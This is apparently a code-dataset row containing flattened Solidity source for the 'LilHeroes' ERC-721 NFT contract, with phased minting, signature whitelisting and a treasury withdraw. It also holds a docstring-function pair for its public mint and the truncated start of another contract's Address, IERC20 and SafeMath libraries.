`from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol) pragma solidity ^0.8.0; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // File: contracts/LilHeroes.sol //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; /** * @dev Implementation of Non-Fungible Token Standard (ERC-721) * This contract is designed to be ready-to-use and versatile. */ contract LilHeroes is ERC721URIStorage, Ownable, Pausable { // General constants enum mintTypes {PRIVATE, WHITELIST, RAFFLE, PUBLIC} uint256 public maxItems = 7777; // Maximum items in the collection uint256 public price = 0.4 ether; // Price for minting one NFT uint256 public totalSupply; // number of NFTs minted thus far address internal __walletTreasury; // Address of the treasury wallet address internal __walletSignature; // Address of the treasury wallet string internal __baseURI; // Base URI for the metadata string internal __extensionURI = ""; // Extension of the URI // Constants for the private uint256 public privateMaxMintsPerTx = 10; // Maximum number of mints per transaction uint256 public privateMaxMintsPerWallet = 50; // Maximum number of mint per wallet uint256 public privateStartTime = 1642352400; // UTC timestamp when minting is open bool public privateIsActive = false; // If the mint is active mapping(address => uint256) public privateAmountMinted; // Keep track of the amount mint during the private // Constants for the whitelist uint256 public whitelistMaxMintsPerTx = 2; // Maximum number of mints per transaction uint256 public whitelistMaxMintsPerWallet = 2; // Maximum number of mint per wallet uint256 public whitelistStartTime = 1642352400; // UTC timestamp when minting is open bool public whitelistIsActive = false; // If the mint is active mapping(address => uint256) public whitelistAmountMinted; // Keep track of the amount mint during the whitelist // Constants for the raffle uint256 public raffleMaxMintsPerTx = 2; // Maximum number of mints per transaction uint256 public raffleMaxMintsPerWallet = 2; // Maximum number of mint per wallet uint256 public raffleStartTime = 1642359600; // UTC timestamp when minting is open bool public raffleIsActive = false; // If the mint is active mapping(address => uint256) public raffleAmountMinted; // Keep track of the amount mint during the raffle // Constants for the public sale uint256 public publicMaxMintsPerTx = 2; // Maximum number of mints per transaction bool public publicIsActive = false; // If the mint is active constructor( string memory name_, string memory symbol_, address walletTreasury_, address walletSignature_, string memory baseURI_ ) ERC721(name_, symbol_) { __baseURI = baseURI_; __walletTreasury = walletTreasury_; __walletSignature = walletSignature_; } /** * Set the new mint per tx allowed * @param _type The type of of maximum tx to change * @param _newMax The new maximum per tx allowed **/ function setMaxMintsPerTx(uint256 _type, uint256 _newMax) external onlyOwner { if (_type == uint256(mintTypes.WHITELIST)) { whitelistMaxMintsPerTx = _newMax; } else if (_type == uint256(mintTypes.PRIVATE)) { privateMaxMintsPerTx = _newMax; } else if (_type == uint256(mintTypes.RAFFLE)) { raffleMaxMintsPerTx = _newMax; } else if (_type == uint256(mintTypes.PUBLIC)) { publicMaxMintsPerTx = _newMax; } } /** * Set the new mint per wallet allowed * @param _type The type of of maximum tx to change * @param _newMax The new maximum per tx allowed **/ function setMaxMintsPerWallet(uint256 _type, uint256 _newMax) external onlyOwner { if (_type == uint256(mintTypes.WHITELIST)) { whitelistMaxMintsPerWallet = _newMax; } else if (_type == uint256(mintTypes.PRIVATE)) { privateMaxMintsPerWallet = _newMax; } else if (_type == uint256(mintTypes.RAFFLE)) { raffleMaxMintsPerWallet = _newMax; } } /** * Set the new start time * @param _type The type of of maximum tx to change * @param _startTime The new start time (format: timestamp) **/ function setStartTime(uint256 _type, uint256 _startTime) external onlyOwner { if (_type == uint256(mintTypes.WHITELIST)) { whitelistStartTime = _startTime; } else if (_type == uint256(mintTypes.PRIVATE)) { privateStartTime = _startTime; } else if (_type == uint256(mintTypes.RAFFLE)) { raffleStartTime = _startTime; } } /** * Set if the mint is active * @param _type The type of of maximum tx to change * @param _isActive The new state **/ function setIsActive(uint256 _type, bool _isActive) external onlyOwner { if (_type == uint256(mintTypes.WHITELIST)) { whitelistIsActive = _isActive; } else if (_type == uint256(mintTypes.PRIVATE)) { privateIsActive = _isActive; } else if (_type == uint256(mintTypes.RAFFLE)) { raffleIsActive = _isActive; } else if (_type == uint256(mintTypes.PUBLIC)) { publicIsActive = _isActive; } } /** * Set the new price * @param _price The new price **/ function setPrice(uint256 _price) external onlyOwner { price = _price; } /** * Set the new max items * @param _max The new price **/ function setMaxItems(uint256 _max) external onlyOwner { maxItems = _max; } /** * Set the new wallet treasury * @param _wallet The eth address **/ function setWalletTreasury(address _wallet) external onlyOwner { __walletTreasury = _wallet; } /** * Set the new wallet signature * @param _wallet The eth address **/ function setWalletSignature(address _wallet) external onlyOwner { __walletSignature = _wallet; } /** * Set the new base uri for metadata * @param _newBaseURI The new base uri **/ function setBaseURI(string memory _newBaseURI) external onlyOwner { __baseURI = _newBaseURI; } /** * Set the new extension of the uri * @param _newExtensionURI The new base uri **/ function setExtensionURI(string memory _newExtensionURI) external onlyOwner { __extensionURI = _newExtensionURI; } /** * Get the base url **/ function _baseURI() internal view override returns (string memory) { return __baseURI; } /** * Get the token uri of the metadata for a specific token * @param tokenId The token id **/ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (bytes(__extensionURI).length == 0){ return super.tokenURI(tokenId); } return string(abi.encodePacked(super.tokenURI(tokenId), __extensionURI)); } /** * Mint for the private sale. We check if the wallet is authorized and how mint it has already done * @param numToMint The number of token to mint * @param signature The signature **/ function mintPrivate(uint256 numToMint, bytes memory signature) external payable { require(block.timestamp > privateStartTime, "minting not open yet"); require(privateIsActive == true, "minting not activated"); require(verify(signature, msg.sender), "wallet is not whitelisted"); require(privateAmountMinted[msg.sender] + numToMint <= privateMaxMintsPerWallet, "too many tokens allowed per wallet"); require(msg.value >= price * numToMint, "not enough eth provided"); require(numToMint > 0, "not enough token to mint"); require((numToMint + totalSupply) <= maxItems, "would exceed max supply"); require(numToMint <= privateMaxMintsPerTx, "too many tokens per tx"); for(uint256 i=totalSupply; i < (totalSupply + numToMint); i++){ _mint(msg.sender, i+1); } privateAmountMinted[msg.sender] = privateAmountMinted[msg.sender] + numToMint; totalSupply += numToMint; } /** * Mint for the whitelist. We check if the wallet is authorized and how mint it has already done * @param numToMint The number of token to mint * @param signature The signature **/ function mintWhitelist(uint256 numToMint, bytes memory signature) external payable { require(block.timestamp > whitelistStartTime, "minting not open yet"); require(whitelistIsActive == true, "minting not activated"); require(verify(signature, msg.sender), "wallet is not whitelisted"); require(whitelistAmountMinted[msg.sender] + numToMint <= whitelistMaxMintsPerWallet, "too many tokens allowed per wallet"); require(msg.value >= price * numToMint, "not enough eth provided"); require(numToMint > 0, "not enough token to mint"); require((numToMint + totalSupply) <= maxItems, "would exceed max supply"); require(numToMint <= whitelistMaxMintsPerTx, "too many tokens per tx"); for(uint256 i=totalSupply; i < (totalSupply + numToMint); i++){ _mint(msg.sender, i+1); } whitelistAmountMinted[msg.sender] = whitelistAmountMinted[msg.sender] + numToMint; totalSupply += numToMint; } /** * Mint for the raffle. We check if the wallet is authorized and how mint it has already done * @param numToMint The number of token to mint * @param signature The signature **/ function mintRaffle(uint256 numToMint, bytes memory signature) external payable { require(block.timestamp > raffleStartTime, "minting not open yet"); require(raffleIsActive == true, "minting not activated"); require(verify(signature, msg.sender), "wallet is not whitelisted"); require(raffleAmountMinted[msg.sender] + numToMint <= raffleMaxMintsPerWallet, "too many tokens allowed per wallet"); require(msg.value >= price * numToMint, "not enough eth provided"); require(numToMint > 0, "not enough token to mint"); require((numToMint + totalSupply) <= maxItems, "would exceed max supply"); require(numToMint <= raffleMaxMintsPerTx, "too many tokens per tx"); for(uint256 i=totalSupply; i < (totalSupply + numToMint); i++){ _mint(msg.sender, i+1); } raffleAmountMinted[msg.sender] = raffleAmountMinted[msg.sender] + numToMint; totalSupply += numToMint; } /** * Mint for the public. * @param numToMint The number of token to mint **/ function mintPublic(uint256 numToMint) external payable whenNotPaused { require(publicIsActive == true, "minting not activated"); require(msg.value >= price * numToMint, "not enough eth provided"); require(numToMint > 0, "not enough token to mint"); require((numToMint + totalSupply) <= maxItems, "would exceed max supply"); require(numToMint <= publicMaxMintsPerTx, "too many tokens per tx"); for(uint256 i=totalSupply; i < (totalSupply + numToMint); i++){ _mint(msg.sender, i+1); } totalSupply += numToMint; } /** * Airdrop * @param recipients The list of address to send to * @param amounts The amount to send to each of address **/ function airdrop(address[] memory recipients, uint256[] memory amounts) external onlyOwner { require(recipients.length == amounts.length, "arrays have different lengths"); for (uint256 i=0; i < recipients.length; i++){ for(uint256 j=totalSupply; j < (totalSupply + amounts[i]); j++){ _mint(recipients[i], j+1); } totalSupply += amounts[i]; } } /** * Verify if the signature is legit * @param signature The signature to verify * @param target The target address to find **/ function verify(bytes memory signature, address target) public view returns (bool) { uint8 v; bytes32 r; bytes32 s; (v, r, s) = splitSignature(signature); bytes32 senderHash = keccak256(abi.encodePacked(target)); //return (owner() == address(ecrecover(senderHash, v, r, s))); return (__walletSignature == address(ecrecover(senderHash, v, r, s))); } /** * Split the signature to verify * @param signature The signature to verify **/ function splitSignature(bytes memory signature) public pure returns (uint8, bytes32, bytes32) { require(signature.length == 65); bytes32 r; bytes32 s; uint8 v; assembly { // first 32 bytes, after the length prefix r := mload(add(signature, 32)) // second 32 bytes s := mload(add(signature, 64)) // final byte (first byte of the next 32 bytes) v := byte(0, mload(add(signature, 96))) } return (v, r, s); } /** * Burns `tokenId`. See {ERC721-_burn}. The caller must own `tokenId` or be an approved operator. * @param tokenId The ID of the token to burn */ function burn(uint256 tokenId) public virtual { require(_isApprovedOrOwner(_msgSender(), tokenId), "caller is not owner nor approved"); _burn(tokenId); } /** * Withdraw the balance from the contract */ function withdraw() external payable onlyOwner returns (bool success) { (success,) = payable(__walletTreasury).call{value: address(this).balance}(""); } }
Mint for the public. numToMint The number of token to mint/
function mintPublic(uint256 numToMint) external payable whenNotPaused { require(publicIsActive == true, "minting not activated"); require(msg.value >= price * numToMint, "not enough eth provided"); require(numToMint > 0, "not enough token to mint"); require((numToMint + totalSupply) <= maxItems, "would exceed max supply"); require(numToMint <= publicMaxMintsPerTx, "too many tokens per tx"); for(uint256 i=totalSupply; i < (totalSupply + numToMint); i++){ _mint(msg.sender, i+1); } totalSupply += numToMint; }
14,759,995
/** *Submitted for verification at Etherscan.io on 2022-03-17 */ /** *Submitted for verification at Etherscan.io on 2022-03-17 */ /** *Submitted for verification at Etherscan.io on 2022-03-08 */ // SPDX-License-Identifier: MIT // File: contracts/libs/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}( data ); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/libs/IERC20.sol pragma solidity >=0.4.0; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the erc20 token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/libs/SafeMath.sol pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an 